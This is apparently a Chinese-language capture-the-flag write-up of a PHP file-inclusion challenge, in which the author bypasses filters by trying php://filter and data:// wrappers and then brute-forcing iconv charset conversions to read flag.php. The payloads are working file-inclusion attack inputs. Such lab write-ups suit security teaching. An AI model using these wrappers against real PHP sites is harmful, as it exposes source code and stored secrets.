![](https://i-blog.csdnimg.cn/direct/f3ad897f3f3044b495249159a6ac331f.png)
进入靶场
![](https://i-blog.csdnimg.cn/direct/07f1bf296e2f49a895caf02294b8b45a.png)
直接显示源代码
提示我们通过get方式传递名为filename的参数,同时给出了文件名check.php
filename=check.php
![](https://i-blog.csdnimg.cn/direct/94197e9b6cab41e88cb552d9bc43d460.png)
显示使用了正确的用法,错误的方法
filename=./check.php
还是一样的回显
傻了,题目名称是文件包含,需要用到函数
先试试最常用到的这个
php://filter/read=convert.base64-encode/resource=flag.php
![](https://i-blog.csdnimg.cn/direct/36da486e61d7491b897791dfb70eece3.png)
被过滤了
换一个伪协议
data://text/plain,123456
话是这么说,但没显示123456说明data协议不行
间接提示了php伪协议换个过滤器说不定可以
php://filter/read=convert.base64-encode/resource=flag.php
之前用的是上面这个,一个个尝试看看被过滤的是哪些
![](https://i-blog.csdnimg.cn/direct/fc4fdda7789148d8b17f2b8185edbc82.png)
read和base编码被禁了
不使用read的话还有string开头的过滤器
![](https://i-blog.csdnimg.cn/direct/850157c27d774e548cb88337ec2a865d.png)
string也被过滤了
试试下面这个
php://filter/convert.iconv.utf-8/gbk/resource=flag.php
作用是将文本从 UTF - 8 编码转换为 GBK 编码
![](https://i-blog.csdnimg.cn/direct/c3e6fd96e79e4814828672fe9a424c00.png)
这个编码转换不行,但有很多编码供我们尝试
使用bp去爆破
字典如下
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
发现有两种组合都能得到flag
![](https://i-blog.csdnimg.cn/direct/8cd55144076a4574a88995ef89f6c5e9.png)